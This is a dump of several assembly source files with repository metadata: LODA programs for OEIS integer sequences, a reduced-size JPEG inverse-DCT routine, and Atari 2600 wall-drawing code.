998bff63a85af8232e65ec83e9cafb17a1681903
741
asm
Assembly
programs/oeis/193/A193641.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/193/A193641.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/193/A193641.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A193641: Number of arrays of -1..1 integers x(1..n) with every x(i) in a subsequence of length 1 or 2 with sum zero. ; 1,3,7,15,33,73,161,355,783,1727,3809,8401,18529,40867,90135,198799,438465,967065,2132929,4704323,10375711,22884351,50473025,111321761,245527873,541528771,1194379303,2634286479,5810101729,12814582761,28263452001,62337005731,137488594223,303240640447,668818286625,1475125167473,3253490975393,7175800237411,15826725642295,34906942259983,76989684757377,169806095157049,374519132574081,826027949905539,1821861994968127,4018243122510335,8862514194926209 cal $0,232059 ; Number of n X 2 0..2 arrays with every 0 next to a 1 and every 1 next to a 2 horizontally or vertically, with no adjacent values equal. mov $1,$0 div $1,2
105.857143
449
0.820513
40ff00adee38c1e84894606f133a16e5f23824dd
612
asm
Assembly
programs/oeis/024/A024812.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/024/A024812.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/024/A024812.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A024812: Numbers n for which there is exactly one positive integer m such that n = floor(cot(Pi/(2m))). ; 2,4,7,9,11,14,16,18,21,23,25,28,30,32,34,37,39,41,44,46,48,51,53,55,58,60,62,65,67,69,72,74,76,79,81,83,86,88,90,93,95,97,100,102,104,107,109,111,114,116,118,121,123,125,128,130,132,135,137,139,142,144,146,149,151,153 mov $3,$0 mov $4,$0 add $4,1 lpb $4 mov $0,$3 sub $4,1 sub $0,$4 lpb $0 mov $2,$0 seq $2,345018 ; For each n, append to the sequence n^2 consecutive integers, starting from n. add $0,$2 mod $0,3 lpe mov $5,$0 div $5,2 add $5,2 add $1,$5 lpe mov $0,$1
26.608696
219
0.627451
4463bfb93c2aadca55176f831768713b044689f0
19,012
asm
Assembly
src/core/external/jpeg-6bx/jidctred.asm
miahmie/krkrz
e4948f61393ca4a2acac0301a975165dd4efc643
[ "Unlicense", "Apache-2.0", "Libpng", "FTL", "IJG" ]
4
2017-01-06T14:31:26.000Z
2019-08-15T04:47:11.000Z
src/core/external/jpeg-6bx/jidctred.asm
miahmie/krkrz
e4948f61393ca4a2acac0301a975165dd4efc643
[ "Unlicense", "Apache-2.0", "Libpng", "FTL", "IJG" ]
null
null
null
src/core/external/jpeg-6bx/jidctred.asm
miahmie/krkrz
e4948f61393ca4a2acac0301a975165dd4efc643
[ "Unlicense", "Apache-2.0", "Libpng", "FTL", "IJG" ]
2
2017-08-23T13:55:19.000Z
2021-02-13T11:39:54.000Z
; ; jidctred.asm - reduced-size IDCT (non-SIMD) ; ; x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; This file contains inverse-DCT routines that produce reduced-size output: ; either 4x4, 2x2, or 1x1 pixels from an 8x8 DCT block. ; The following code is based directly on the IJG's original jidctred.c; ; see the jidctred.c for more details. ; ; Last Modified : October 17, 2004 ; ; [TAB8] %include "jsimdext.inc" %include "jdct.inc" %ifdef IDCT_SCALING_SUPPORTED ; This module is specialized to the case DCTSIZE = 8. ; %if DCTSIZE != 8 %error "Sorry, this code only copes with 8x8 DCTs." %endif ; -------------------------------------------------------------------------- ; Descale and correctly round a DWORD value that's scaled by N bits. ; %macro descale 2 %if (%2)<=7 add %1, byte (1<<((%2)-1)) ; add reg32,imm8 %else add %1, (1<<((%2)-1)) ; add reg32,imm32 %endif sar %1,%2 %endmacro ; -------------------------------------------------------------------------- %define CONST_BITS 13 %define PASS1_BITS 2 %if CONST_BITS == 13 F_0_211 equ 1730 ; FIX(0.211164243) F_0_509 equ 4176 ; FIX(0.509795579) F_0_601 equ 4926 ; FIX(0.601344887) F_0_720 equ 5906 ; FIX(0.720959822) F_0_765 equ 6270 ; FIX(0.765366865) F_0_850 equ 6967 ; FIX(0.850430095) F_0_899 equ 7373 ; FIX(0.899976223) F_1_061 equ 8697 ; FIX(1.061594337) F_1_272 equ 10426 ; FIX(1.272758580) F_1_451 equ 11893 ; FIX(1.451774981) F_1_847 equ 15137 ; FIX(1.847759065) F_2_172 equ 17799 ; FIX(2.172734803) F_2_562 equ 20995 ; FIX(2.562915447) F_3_624 equ 29692 ; FIX(3.624509785) %else ; NASM cannot do compile-time arithmetic on floating-point constants. %define DESCALE(x,n) (((x)+(1<<((n)-1)))>>(n)) F_0_211 equ DESCALE( 226735879,30-CONST_BITS) ; FIX(0.211164243) F_0_509 equ DESCALE( 547388834,30-CONST_BITS) ; FIX(0.509795579) F_0_601 equ DESCALE( 645689155,30-CONST_BITS) ; FIX(0.601344887) F_0_720 equ DESCALE( 774124714,30-CONST_BITS) ; FIX(0.720959822) F_0_765 equ DESCALE( 821806413,30-CONST_BITS) ; FIX(0.765366865) F_0_850 equ DESCALE( 913142361,30-CONST_BITS) ; FIX(0.850430095) F_0_899 equ DESCALE( 966342111,30-CONST_BITS) ; FIX(0.899976223) F_1_061 equ DESCALE(1139878239,30-CONST_BITS) ; FIX(1.061594337) F_1_272 equ DESCALE(1366614119,30-CONST_BITS) ; FIX(1.272758580) F_1_451 equ DESCALE(1558831516,30-CONST_BITS) ; FIX(1.451774981) F_1_847 equ DESCALE(1984016188,30-CONST_BITS) ; FIX(1.847759065) F_2_172 equ DESCALE(2332956230,30-CONST_BITS) ; FIX(2.172734803) F_2_562 equ DESCALE(2751909506,30-CONST_BITS) ; FIX(2.562915447) F_3_624 equ DESCALE(3891787747,30-CONST_BITS) ; FIX(3.624509785) %endif ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 32 ; ; Perform dequantization and inverse DCT on one block of coefficients, ; producing a reduced-size 4x4 output block. ; ; GLOBAL(void) ; jpeg_idct_4x4 (j_decompress_ptr cinfo, jpeg_component_info * compptr, ; JCOEFPTR coef_block, ; JSAMPARRAY output_buf, JDIMENSION output_col) ; %define cinfo(b) (b)+8 ; j_decompress_ptr cinfo %define compptr(b) (b)+12 ; jpeg_component_info * compptr %define coef_block(b) (b)+16 ; JCOEFPTR coef_block %define output_buf(b) (b)+20 ; JSAMPARRAY output_buf %define output_col(b) (b)+24 ; JDIMENSION output_col %define range_limit ebp-SIZEOF_POINTER ; JSAMPLE * range_limit %define workspace range_limit-(DCTSIZE*4)*SIZEOF_INT ; int workspace[DCTSIZE*4] align 16 global EXTN(jpeg_idct_4x4) EXTN(jpeg_idct_4x4): push ebp mov ebp,esp lea esp, [workspace] push ebx ; push ecx ; need not be preserved ; push edx ; need not be preserved push esi push edi ; ---- Pass 1: process columns from input, store into work array. mov edx, POINTER [compptr(ebp)] mov edx, POINTER [jcompinfo_dct_table(edx)] ; quantptr mov esi, JCOEFPTR [coef_block(ebp)] ; inptr lea edi, [workspace] ; int * wsptr mov ecx, DCTSIZE ; ctr alignx 16,7 .columnloop: ; Don't bother to process column 4, because second pass won't use it cmp ecx, byte DCTSIZE-4 je near .nextcolumn mov ax, JCOEF [COL(1,esi,SIZEOF_JCOEF)] or ax, JCOEF [COL(2,esi,SIZEOF_JCOEF)] jnz short .columnDCT mov ax, JCOEF [COL(3,esi,SIZEOF_JCOEF)] mov bx, JCOEF [COL(5,esi,SIZEOF_JCOEF)] or ax, JCOEF [COL(6,esi,SIZEOF_JCOEF)] or bx, JCOEF [COL(7,esi,SIZEOF_JCOEF)] or ax,bx jnz short .columnDCT ; -- AC terms all zero; we need not examine term 4 for 4x4 output mov ax, JCOEF [COL(0,esi,SIZEOF_JCOEF)] imul ax, ISLOW_MULT_TYPE [COL(0,edx,SIZEOF_ISLOW_MULT_TYPE)] cwde sal eax, PASS1_BITS mov INT [COL(0,edi,SIZEOF_INT)], eax mov INT [COL(1,edi,SIZEOF_INT)], eax mov INT [COL(2,edi,SIZEOF_INT)], eax mov INT [COL(3,edi,SIZEOF_INT)], eax jmp near .nextcolumn alignx 16,7 .columnDCT: push ecx ; ctr push esi ; coef_block push edx ; quantptr push edi ; wsptr ; -- Even part movsx ebx, JCOEF [COL(2,esi,SIZEOF_JCOEF)] movsx ecx, JCOEF [COL(6,esi,SIZEOF_JCOEF)] movsx eax, JCOEF [COL(0,esi,SIZEOF_JCOEF)] imul bx, ISLOW_MULT_TYPE [COL(2,edx,SIZEOF_ISLOW_MULT_TYPE)] imul cx, ISLOW_MULT_TYPE [COL(6,edx,SIZEOF_ISLOW_MULT_TYPE)] imul ax, ISLOW_MULT_TYPE [COL(0,edx,SIZEOF_ISLOW_MULT_TYPE)] imul ebx,(F_1_847) ; ebx=MULTIPLY(z2,FIX_1_847759065) imul ecx,(-F_0_765) ; ecx=MULTIPLY(z3,-FIX_0_765366865) sal eax,(CONST_BITS+1) ; eax=tmp0 add ecx,ebx ; ecx=tmp2 lea edi,[eax+ecx] ; edi=tmp10 sub eax,ecx ; eax=tmp12 push eax ; tmp12 push edi ; tmp10 ; -- Odd part movsx edi, JCOEF [COL(7,esi,SIZEOF_JCOEF)] movsx ecx, JCOEF [COL(5,esi,SIZEOF_JCOEF)] imul di, ISLOW_MULT_TYPE [COL(7,edx,SIZEOF_ISLOW_MULT_TYPE)] imul cx, ISLOW_MULT_TYPE [COL(5,edx,SIZEOF_ISLOW_MULT_TYPE)] movsx ebx, JCOEF [COL(3,esi,SIZEOF_JCOEF)] movsx eax, JCOEF [COL(1,esi,SIZEOF_JCOEF)] imul bx, ISLOW_MULT_TYPE [COL(3,edx,SIZEOF_ISLOW_MULT_TYPE)] imul ax, ISLOW_MULT_TYPE [COL(1,edx,SIZEOF_ISLOW_MULT_TYPE)] mov esi,edi ; esi=edi=z1 mov edx,ecx ; edx=ecx=z2 imul edi,(-F_0_211) ; edi=MULTIPLY(z1,-FIX_0_211164243) imul ecx,(F_1_451) ; ecx=MULTIPLY(z2,FIX_1_451774981) imul esi,(-F_0_509) ; esi=MULTIPLY(z1,-FIX_0_509795579) imul edx,(-F_0_601) ; edx=MULTIPLY(z2,-FIX_0_601344887) add edi,ecx ; edi=(tmp0) add esi,edx ; esi=(tmp2) mov ecx,ebx ; ecx=ebx=z3 mov edx,eax ; edx=eax=z4 imul ebx,(-F_2_172) ; ebx=MULTIPLY(z3,-FIX_2_172734803) imul eax,(F_1_061) ; eax=MULTIPLY(z4,FIX_1_061594337) imul ecx,(F_0_899) ; ecx=MULTIPLY(z3,FIX_0_899976223) imul edx,(F_2_562) ; edx=MULTIPLY(z4,FIX_2_562915447) add edi,ebx add esi,ecx add edi,eax ; edi=tmp0 add esi,edx ; esi=tmp2 ; -- Final output stage pop ebx ; ebx=tmp10 pop ecx ; ecx=tmp12 lea eax,[ebx+esi] ; eax=data0(=tmp10+tmp2) sub ebx,esi ; ebx=data3(=tmp10-tmp2) lea edx,[ecx+edi] ; edx=data1(=tmp12+tmp0) sub ecx,edi ; ecx=data2(=tmp12-tmp0) pop edi ; wsptr descale eax,(CONST_BITS-PASS1_BITS+1) descale ebx,(CONST_BITS-PASS1_BITS+1) descale edx,(CONST_BITS-PASS1_BITS+1) descale ecx,(CONST_BITS-PASS1_BITS+1) mov INT [COL(0,edi,SIZEOF_INT)], eax mov INT [COL(3,edi,SIZEOF_INT)], ebx mov INT [COL(1,edi,SIZEOF_INT)], edx mov INT [COL(2,edi,SIZEOF_INT)], ecx pop edx ; quantptr pop esi ; coef_block pop ecx ; ctr .nextcolumn: add esi, byte SIZEOF_JCOEF ; advance pointers to next column add edx, byte SIZEOF_ISLOW_MULT_TYPE add edi, byte SIZEOF_INT dec ecx jnz near .columnloop ; ---- Pass 2: process 4 rows from work array, store into output array. mov eax, POINTER [cinfo(ebp)] mov eax, POINTER [jdstruct_sample_range_limit(eax)] sub eax, byte -CENTERJSAMPLE*SIZEOF_JSAMPLE ; JSAMPLE * range_limit mov POINTER [range_limit], eax lea esi, [workspace] ; int * wsptr mov edi, JSAMPARRAY [output_buf(ebp)] ; (JSAMPROW *) mov ecx, DCTSIZE/2 ; ctr alignx 16,7 .rowloop: push edi mov edi, JSAMPROW [edi] ; (JSAMPLE *) add edi, JDIMENSION [output_col(ebp)] ; edi=outptr %ifndef NO_ZERO_ROW_TEST mov eax, INT [ROW(1,esi,SIZEOF_INT)] or eax, INT [ROW(2,esi,SIZEOF_INT)] jnz short .rowDCT mov eax, INT [ROW(3,esi,SIZEOF_INT)] mov ebx, INT [ROW(5,esi,SIZEOF_INT)] or eax, INT [ROW(6,esi,SIZEOF_INT)] or ebx, INT [ROW(7,esi,SIZEOF_INT)] or eax,ebx jnz short .rowDCT ; -- AC terms all zero mov eax, INT [ROW(0,esi,SIZEOF_INT)] mov edx, POINTER [range_limit] ; (JSAMPLE *) descale eax,(PASS1_BITS+3) and eax,RANGE_MASK mov al, JSAMPLE [edx+eax*SIZEOF_JSAMPLE] mov JSAMPLE [edi+0*SIZEOF_JSAMPLE], al mov JSAMPLE [edi+1*SIZEOF_JSAMPLE], al mov JSAMPLE [edi+2*SIZEOF_JSAMPLE], al mov JSAMPLE [edi+3*SIZEOF_JSAMPLE], al jmp near .nextrow alignx 16,7 %endif .rowDCT: push esi ; wsptr push ecx ; ctr push edi ; outptr ; -- Even part mov eax, INT [ROW(0,esi,SIZEOF_INT)] mov ebx, INT [ROW(2,esi,SIZEOF_INT)] mov ecx, INT [ROW(6,esi,SIZEOF_INT)] imul ebx,(F_1_847) ; ebx=MULTIPLY(z2,FIX_1_847759065) imul ecx,(-F_0_765) ; ecx=MULTIPLY(z3,-FIX_0_765366865) sal eax,(CONST_BITS+1) ; eax=tmp0 add ecx,ebx ; ecx=tmp2 lea edi,[eax+ecx] ; edi=tmp10 sub eax,ecx ; eax=tmp12 push eax ; tmp12 push edi ; tmp10 ; -- Odd part mov eax, INT [ROW(1,esi,SIZEOF_INT)] mov ebx, INT [ROW(3,esi,SIZEOF_INT)] mov ecx, INT [ROW(5,esi,SIZEOF_INT)] mov edi, INT [ROW(7,esi,SIZEOF_INT)] mov esi,edi ; esi=edi=z1 mov edx,ecx ; edx=ecx=z2 imul edi,(-F_0_211) ; edi=MULTIPLY(z1,-FIX_0_211164243) imul ecx,(F_1_451) ; ecx=MULTIPLY(z2,FIX_1_451774981) imul esi,(-F_0_509) ; esi=MULTIPLY(z1,-FIX_0_509795579) imul edx,(-F_0_601) ; edx=MULTIPLY(z2,-FIX_0_601344887) add edi,ecx ; edi=(tmp0) add esi,edx ; esi=(tmp2) mov ecx,ebx ; ecx=ebx=z3 mov edx,eax ; edx=eax=z4 imul ebx,(-F_2_172) ; ebx=MULTIPLY(z3,-FIX_2_172734803) imul eax,(F_1_061) ; eax=MULTIPLY(z4,FIX_1_061594337) imul ecx,(F_0_899) ; ecx=MULTIPLY(z3,FIX_0_899976223) imul edx,(F_2_562) ; edx=MULTIPLY(z4,FIX_2_562915447) add edi,ebx add esi,ecx add edi,eax ; edi=tmp0 add esi,edx ; esi=tmp2 ; -- Final output stage pop ebx ; ebx=tmp10 pop ecx ; ecx=tmp12 lea eax,[ebx+esi] ; eax=data0(=tmp10+tmp2) sub ebx,esi ; ebx=data3(=tmp10-tmp2) lea edx,[ecx+edi] ; edx=data1(=tmp12+tmp0) sub ecx,edi ; ecx=data2(=tmp12-tmp0) mov esi, POINTER [range_limit] ; (JSAMPLE *) descale eax,(CONST_BITS+PASS1_BITS+3+1) descale ebx,(CONST_BITS+PASS1_BITS+3+1) descale edx,(CONST_BITS+PASS1_BITS+3+1) descale ecx,(CONST_BITS+PASS1_BITS+3+1) pop edi ; outptr and eax,RANGE_MASK and ebx,RANGE_MASK and edx,RANGE_MASK and ecx,RANGE_MASK mov al, JSAMPLE [esi+eax*SIZEOF_JSAMPLE] mov bl, JSAMPLE [esi+ebx*SIZEOF_JSAMPLE] mov dl, JSAMPLE [esi+edx*SIZEOF_JSAMPLE] mov cl, JSAMPLE [esi+ecx*SIZEOF_JSAMPLE] mov JSAMPLE [edi+0*SIZEOF_JSAMPLE], al mov JSAMPLE [edi+3*SIZEOF_JSAMPLE], bl mov JSAMPLE [edi+1*SIZEOF_JSAMPLE], dl mov JSAMPLE [edi+2*SIZEOF_JSAMPLE], cl pop ecx ; ctr pop esi ; wsptr .nextrow: pop edi add esi, byte DCTSIZE*SIZEOF_INT ; advance pointer to next row add edi, byte SIZEOF_JSAMPROW dec ecx jnz near .rowloop pop edi pop esi ; pop edx ; need not be preserved ; pop ecx ; need not be preserved pop ebx mov esp,ebp pop ebp ret ; -------------------------------------------------------------------------- ; ; Perform dequantization and inverse DCT on one block of coefficients, ; producing a reduced-size 2x2 output block. ; ; GLOBAL(void) ; jpeg_idct_2x2 (j_decompress_ptr cinfo, jpeg_component_info * compptr, ; JCOEFPTR coef_block, ; JSAMPARRAY output_buf, JDIMENSION output_col) ; %define cinfo(b) (b)+8 ; j_decompress_ptr cinfo %define compptr(b) (b)+12 ; jpeg_component_info * compptr %define coef_block(b) (b)+16 ; JCOEFPTR coef_block %define output_buf(b) (b)+20 ; JSAMPARRAY output_buf %define output_col(b) (b)+24 ; JDIMENSION output_col %define range_limit ebp-SIZEOF_POINTER ; JSAMPLE * range_limit %define workspace range_limit-(DCTSIZE*2)*SIZEOF_INT ; int workspace[DCTSIZE*2] align 16 global EXTN(jpeg_idct_2x2) EXTN(jpeg_idct_2x2): push ebp mov ebp,esp lea esp, [workspace] push ebx ; push ecx ; need not be preserved ; push edx ; need not be preserved push esi push edi ; ---- Pass 1: process columns from input, store into work array. mov edx, POINTER [compptr(ebp)] mov edx, POINTER [jcompinfo_dct_table(edx)] ; quantptr mov esi, JCOEFPTR [coef_block(ebp)] ; inptr lea edi, [workspace] ; int * wsptr mov ecx, DCTSIZE ; ctr alignx 16,7 .columnloop: ; Don't bother to process columns 2,4,6 test ecx, 0x09 jz near .nextcolumn mov ax, JCOEF [COL(1,esi,SIZEOF_JCOEF)] or ax, JCOEF [COL(3,esi,SIZEOF_JCOEF)] jnz short .columnDCT mov ax, JCOEF [COL(5,esi,SIZEOF_JCOEF)] or ax, JCOEF [COL(7,esi,SIZEOF_JCOEF)] jnz short .columnDCT ; -- AC terms all zero; we need not examine terms 2,4,6 for 2x2 output mov ax, JCOEF [COL(0,esi,SIZEOF_JCOEF)] imul ax, ISLOW_MULT_TYPE [COL(0,edx,SIZEOF_ISLOW_MULT_TYPE)] cwde sal eax, PASS1_BITS mov INT [COL(0,edi,SIZEOF_INT)], eax mov INT [COL(1,edi,SIZEOF_INT)], eax jmp short .nextcolumn alignx 16,7 .columnDCT: push ecx ; ctr push edi ; wsptr ; -- Odd part movsx eax, JCOEF [COL(1,esi,SIZEOF_JCOEF)] movsx ebx, JCOEF [COL(3,esi,SIZEOF_JCOEF)] imul ax, ISLOW_MULT_TYPE [COL(1,edx,SIZEOF_ISLOW_MULT_TYPE)] imul bx, ISLOW_MULT_TYPE [COL(3,edx,SIZEOF_ISLOW_MULT_TYPE)] movsx ecx, JCOEF [COL(5,esi,SIZEOF_JCOEF)] movsx edi, JCOEF [COL(7,esi,SIZEOF_JCOEF)] imul cx, ISLOW_MULT_TYPE [COL(5,edx,SIZEOF_ISLOW_MULT_TYPE)] imul di, ISLOW_MULT_TYPE [COL(7,edx,SIZEOF_ISLOW_MULT_TYPE)] imul eax,(F_3_624) ; eax=MULTIPLY(data1,FIX_3_624509785) imul ebx,(-F_1_272) ; ebx=MULTIPLY(data3,-FIX_1_272758580) imul ecx,(F_0_850) ; ecx=MULTIPLY(data5,FIX_0_850430095) imul edi,(-F_0_720) ; edi=MULTIPLY(data7,-FIX_0_720959822) add eax,ebx add ecx,edi add ecx,eax ; ecx=tmp0 ; -- Even part mov ax, JCOEF [COL(0,esi,SIZEOF_JCOEF)] imul ax, ISLOW_MULT_TYPE [COL(0,edx,SIZEOF_ISLOW_MULT_TYPE)] cwde sal eax,(CONST_BITS+2) ; eax=tmp10 ; -- Final output stage pop edi ; wsptr lea ebx,[eax+ecx] ; ebx=data0(=tmp10+tmp0) sub eax,ecx ; eax=data1(=tmp10-tmp0) pop ecx ; ctr descale ebx,(CONST_BITS-PASS1_BITS+2) descale eax,(CONST_BITS-PASS1_BITS+2) mov INT [COL(0,edi,SIZEOF_INT)], ebx mov INT [COL(1,edi,SIZEOF_INT)], eax .nextcolumn: add esi, byte SIZEOF_JCOEF ; advance pointers to next column add edx, byte SIZEOF_ISLOW_MULT_TYPE add edi, byte SIZEOF_INT dec ecx jnz near .columnloop ; ---- Pass 2: process 2 rows from work array, store into output array. mov eax, POINTER [cinfo(ebp)] mov eax, POINTER [jdstruct_sample_range_limit(eax)] sub eax, byte -CENTERJSAMPLE*SIZEOF_JSAMPLE ; JSAMPLE * range_limit mov POINTER [range_limit], eax lea esi, [workspace] ; int * wsptr mov edi, JSAMPARRAY [output_buf(ebp)] ; (JSAMPROW *) mov ecx, DCTSIZE/4 ; ctr alignx 16,7 .rowloop: push edi mov edi, JSAMPROW [edi] ; (JSAMPLE *) add edi, JDIMENSION [output_col(ebp)] ; edi=outptr %ifndef NO_ZERO_ROW_TEST mov eax, INT [ROW(1,esi,SIZEOF_INT)] or eax, INT [ROW(3,esi,SIZEOF_INT)] jnz short .rowDCT mov eax, INT [ROW(5,esi,SIZEOF_INT)] or eax, INT [ROW(7,esi,SIZEOF_INT)] jnz short .rowDCT ; -- AC terms all zero mov eax, INT [ROW(0,esi,SIZEOF_INT)] mov edx, POINTER [range_limit] ; (JSAMPLE *) descale eax,(PASS1_BITS+3) and eax,RANGE_MASK mov al, JSAMPLE [edx+eax*SIZEOF_JSAMPLE] mov JSAMPLE [edi+0*SIZEOF_JSAMPLE], al mov JSAMPLE [edi+1*SIZEOF_JSAMPLE], al jmp short .nextrow alignx 16,7 %endif .rowDCT: push ecx ; ctr ; -- Odd part mov eax, INT [ROW(1,esi,SIZEOF_INT)] mov ebx, INT [ROW(3,esi,SIZEOF_INT)] mov ecx, INT [ROW(5,esi,SIZEOF_INT)] mov edx, INT [ROW(7,esi,SIZEOF_INT)] imul eax,(F_3_624) ; eax=MULTIPLY(data1,FIX_3_624509785) imul ebx,(-F_1_272) ; ebx=MULTIPLY(data3,-FIX_1_272758580) imul ecx,(F_0_850) ; ecx=MULTIPLY(data5,FIX_0_850430095) imul edx,(-F_0_720) ; edx=MULTIPLY(data7,-FIX_0_720959822) add eax,ebx add ecx,edx add ecx,eax ; ecx=tmp0 ; -- Even part mov eax, INT [ROW(0,esi,SIZEOF_INT)] sal eax,(CONST_BITS+2) ; eax=tmp10 ; -- Final output stage mov edx, POINTER [range_limit] ; (JSAMPLE *) lea ebx,[eax+ecx] ; ebx=data0(=tmp10+tmp0) sub eax,ecx ; eax=data1(=tmp10-tmp0) pop ecx ; ctr descale ebx,(CONST_BITS+PASS1_BITS+3+2) descale eax,(CONST_BITS+PASS1_BITS+3+2) and ebx,RANGE_MASK and eax,RANGE_MASK mov bl, JSAMPLE [edx+ebx*SIZEOF_JSAMPLE] mov al, JSAMPLE [edx+eax*SIZEOF_JSAMPLE] mov JSAMPLE [edi+0*SIZEOF_JSAMPLE], bl mov JSAMPLE [edi+1*SIZEOF_JSAMPLE], al .nextrow: pop edi add esi, byte DCTSIZE*SIZEOF_INT ; advance pointer to next row add edi, byte SIZEOF_JSAMPROW dec ecx jnz near .rowloop pop edi pop esi ; pop edx ; need not be preserved ; pop ecx ; need not be preserved pop ebx mov esp,ebp pop ebp ret ; -------------------------------------------------------------------------- ; ; Perform dequantization and inverse DCT on one block of coefficients, ; producing a reduced-size 1x1 output block. ; ; GLOBAL(void) ; jpeg_idct_1x1 (j_decompress_ptr cinfo, jpeg_component_info * compptr, ; JCOEFPTR coef_block, ; JSAMPARRAY output_buf, JDIMENSION output_col) ; %define cinfo(b) (b)+8 ; j_decompress_ptr cinfo %define compptr(b) (b)+12 ; jpeg_component_info * compptr %define coef_block(b) (b)+16 ; JCOEFPTR coef_block %define output_buf(b) (b)+20 ; JSAMPARRAY output_buf %define output_col(b) (b)+24 ; JDIMENSION output_col %define ebp esp-4 ; use esp instead of ebp align 16 global EXTN(jpeg_idct_1x1) EXTN(jpeg_idct_1x1): ; push ebp ; mov ebp,esp ; push ebx ; unused ; push ecx ; need not be preserved ; push edx ; need not be preserved ; push esi ; unused ; push edi ; unused ; We hardly need an inverse DCT routine for this: just take the ; average pixel value, which is one-eighth of the DC coefficient. mov edx, POINTER [compptr(ebp)] mov ecx, JCOEFPTR [coef_block(ebp)] ; inptr mov edx, POINTER [jcompinfo_dct_table(edx)] ; quantptr mov ax, JCOEF [COL(0,ecx,SIZEOF_JCOEF)] imul ax, ISLOW_MULT_TYPE [COL(0,edx,SIZEOF_ISLOW_MULT_TYPE)] mov ecx, JSAMPARRAY [output_buf(ebp)] ; (JSAMPROW *) mov edx, JDIMENSION [output_col(ebp)] mov ecx, JSAMPROW [ecx] ; (JSAMPLE *) add ax, (1 << (3-1)) + (CENTERJSAMPLE << 3) sar ax,3 ; descale test ah,ah ; unsigned saturation jz short .output not ax sar ax,15 alignx 16,3 .output: mov JSAMPLE [ecx+edx*SIZEOF_JSAMPLE], al ; pop edi ; unused ; pop esi ; unused ; pop edx ; need not be preserved ; pop ecx ; need not be preserved ; pop ebx ; unused ; pop ebp ret %endif ; IDCT_SCALING_SUPPORTED
27.593614
78
0.701978
5f0ae5002b841dfd68fe60605d68e0f8c80e937c
1,334
asm
Assembly
src/drawCode/dc_w1s1.asm
Gip-Gip/VePseu
44e89cd70cab8c9e24ddb024b953cfa842ed54c7
[ "0BSD" ]
5
2018-04-20T01:00:01.000Z
2020-08-18T23:31:50.000Z
src/drawCode/dc_w1s1.asm
Gip-Gip/VePseu
44e89cd70cab8c9e24ddb024b953cfa842ed54c7
[ "0BSD" ]
3
2018-06-25T14:07:03.000Z
2018-06-29T00:56:36.000Z
src/drawCode/dc_w1s1.asm
Gip-Gip/VePseu
44e89cd70cab8c9e24ddb024b953cfa842ed54c7
[ "0BSD" ]
null
null
null
; The draw code for the 1st wall and shadow dc_w1s1: SUBROUTINE LDX #INDEXINIT JMP .loop .noSprite_1: ; Depending on the location in the program the branch here might cross a ; page boundry, causing it to take an extra clock cycle. To choose the right ; delay simply check if the page number (the MSB of the address) is ; different between the branch and it's destination IF >.branchPoint_1 == >.noSprite_1 DELAY 11 ELSE DELAY 10 ENDIF JMP .noSprite_ret .noSprite_2: IF >.branchPoint_2 == >.noSprite_2 DELAY 4 ELSE DELAY 3 ENDIF JMP .noSprite_ret .loop: LDA wallColour STA WSYNC STA COLUPF LDA wall1 STA PF1 TYA BEQ .noSprite_1 .branchPoint_1: DEY CPY spriteHeight BCS .noSprite_2 .branchPoint_2: LDA (sprite),Y STA GRP0 .noSprite_ret: LDA wall1 STA PF2 DELAY 6 STA PF0 DELAY 19 LDA #NULL STA PF2 STA PF0 STA WSYNC LDA shadowColour STA COLUPF LDA shadow1a AND and_1a,X STA PF1 LDA shadow1b AND and_1b,X STA PF2 DELAY 9 LDA shadow1d AND and_1c,X STA PF1 LDA shadow1e AND and_1d,X STA PF2 INX CPX #UPPRWALL_S BNE .loop
17.552632
81
0.595202
eda2764ef75ebfc4b5e48206e231f99e3b696fc2
833
asm
Assembly
programs/oeis/257/A257849.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/257/A257849.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/257/A257849.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A257849: a(n) = floor(n/9) * (n mod 9). ; 0,0,0,0,0,0,0,0,0,0,1,2,3,4,5,6,7,8,0,2,4,6,8,10,12,14,16,0,3,6,9,12,15,18,21,24,0,4,8,12,16,20,24,28,32,0,5,10,15,20,25,30,35,40,0,6,12,18,24,30,36,42,48,0,7,14,21,28,35,42,49,56,0,8,16,24,32,40,48,56,64,0,9,18,27,36,45,54,63,72,0,10,20,30,40,50,60,70,80,0,11,22,33,44,55,66,77,88,0,12,24,36,48,60,72,84,96,0,13,26,39,52,65,78,91,104,0,14,28,42,56,70,84,98,112,0,15,30,45,60,75,90,105,120,0,16,32,48,64,80,96,112,128,0,17,34,51,68,85,102,119,136,0,18,36,54,72,90,108,126,144,0,19,38,57,76,95,114,133,152,0,20,40,60,80,100,120,140,160,0,21,42,63,84,105,126,147,168,0,22,44,66,88,110,132,154,176,0,23,46,69,92,115,138,161,184,0,24,48,72,96,120,144,168,192,0,25,50,75,100,125,150,175,200,0,26,52,78,104,130,156,182,208,0,27,54,81,108,135,162 mov $1,$0 mod $1,9 sub $0,$1 mul $1,$0 div $1,9
92.555556
741
0.643457
